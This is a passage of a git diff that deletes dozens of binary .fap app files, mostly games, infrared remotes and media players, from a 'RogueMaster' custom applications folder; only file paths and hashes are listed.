RM)/RogueMaster/Games/fortune_cookie.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap deleted file mode 100644 index be647c21b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap deleted file mode 100644 index 466890f90..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap deleted file mode 100644 index e0f6a9e15..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap deleted file mode 100644 index 0cc05f2cd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap deleted file mode 100644 index 05308775b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap deleted file mode 100644 index be7ab4922..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap deleted file mode 100644 index 4a2668388..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap deleted file mode 100644 index 70d05f3a0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap deleted file mode 100644 index 6a78d88bf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap deleted file mode 100644 index 65742bf8d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap deleted file mode 100644 index 91f4f13fb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap deleted file mode 100644 index fbd30cdf7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap deleted file mode 100644 index 28d61b301..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap deleted file mode 100644 index ac2a0f9de..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap deleted file mode 100644 index f90c8a98e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap deleted file mode 100644 index 74c5d45a7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap deleted file mode 100644 index 0636d0d8f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap deleted file mode 100644 index d04de458d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap deleted file mode 100644 index d543fe3a1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap deleted file mode 100644 index a6750d23b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap deleted file mode 100644 index bb7a7c299..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap deleted file mode 100644 index 9a744e960..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap deleted file mode 100644 index f1701a72b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap deleted file mode 100644 index a3c83f7b6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap deleted file mode 100644 index e08cf3ee7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap deleted file mode 100644 index b28743156..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap deleted file mode 100644 index 8cec73537..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap deleted file mode 100644 index d5c675a1b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap deleted file mode 100644 index 7e10d1df3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap deleted file mode 100644 index fece53376..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap deleted file mode 100644 index 644dd8288..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap deleted file mode 100644 index 5e58efa56..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap deleted file mode 100644 index e44bdd5dd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap deleted file mode 100644 index 3a03a66df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap deleted file mode 100644 index 36d4e78cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap deleted file mode 100644 index 077855462..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap deleted file mode 100644 index a87619c5f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap deleted file mode 100644 index 1c5cc0cea..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap deleted file mode 100644 index 057c5ecde..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap deleted file mode 100644 index 5da2b4cc4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap deleted file mode 100644 index 2528b5426..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap deleted file mode 100644 index 70ddc4f49..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap deleted file mode 100644 index b05482813..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap deleted file mode 100644 index 719d44537..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap deleted file mode 100644 index 84266c602..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap deleted file mode 100644 index 3dbdc6af6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap deleted file mode 100644 index 234b4757a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap deleted file mode 100644 index a3cef63dd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap deleted file mode 100644 index 69168c899..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap deleted file mode 100644 index b8cc6beeb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap deleted file mode 100644 index c3431915b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap deleted file mode 100644 index 81119028a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap deleted file mode 100644 index b96da075e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap deleted file mode 100644 index 58a048360..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap deleted file mode 100644 index a815719af..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap deleted file mode 100644 index c679955b3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap deleted file mode 100644 index 757c9ae75..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap deleted file mode 100644 index 4dd1c434d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap deleted file mode 100644 index c36451468..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap deleted file mode 100644 index e44f81b2c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap deleted file mode 100644 index cbad34bf8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap deleted file mode 100644 index 14e640556..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap deleted file mode 100644 index 6aa17f703..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap deleted file mode 100644 index dc03893c6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap deleted file mode 100644 index 7932ee807..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap deleted file mode 100644 index 743acda10..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap deleted file mode 100644 index 482ae97b5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap deleted file mode 100644 index 1a0dfebe1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap deleted file mode 100644 index b8d6d1655..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap deleted file mode 100644 index f19c44283..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap deleted file mode 100644 index 4f5d16bd7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap deleted file mode 100644 index 8adc8833a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap deleted file mode 100644 index fa1d388ef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap deleted file mode 100644 index dba341ce8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap deleted file mode 100644 index b96792329..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap deleted file mode 100644 index 1dd5d2324..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap deleted file mode 100644 index 2f70a6280..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap deleted file mode 100644 index 3ac5b8b6e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap deleted file mode 100644 index 65b8f8653..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap deleted file mode 100644 index 2a646a01f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap deleted file mode 100644 index 34317a935..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap deleted file mode 100644 index 92f425b7d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap deleted file mode 100644 index 36c6f38d5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap deleted file mode 100644 index fb2df17d4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap deleted file mode 100644 index 58d95c043..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap deleted file mode 100644 index 327edec4f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap deleted file mode 100644 index b2e4db923..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap deleted file mode 100644 index 03e9f7486..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap deleted file mode 100644 index daac655c0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap deleted file mode 100644 index 60622090d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap deleted file mode 100644 index 1162c555d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap deleted file mode 100644 index 854f6b8c5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap deleted file mode 100644 index cba58fc39..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap deleted file mode 100644 index cd4ef5fec..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap deleted file mode 100644 index 0cdffdc47..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap deleted file mode 100644 index 46d1a65e8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap deleted file mode 100644 index d01f3de58..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap deleted file mode 100644 index 84f8d23e1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap deleted file mode 100644 index b6bebbe33..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap deleted file mode 100644 index aabe98bd7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap deleted file mode 100644 index 7bcea1086..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap deleted file mode 100644 index c39c432ab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap deleted file mode 100644 index fb9add5e5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap deleted file mode 100644 index 5db37ca66..000000000 Binary files a/Applications/Custom (UL, 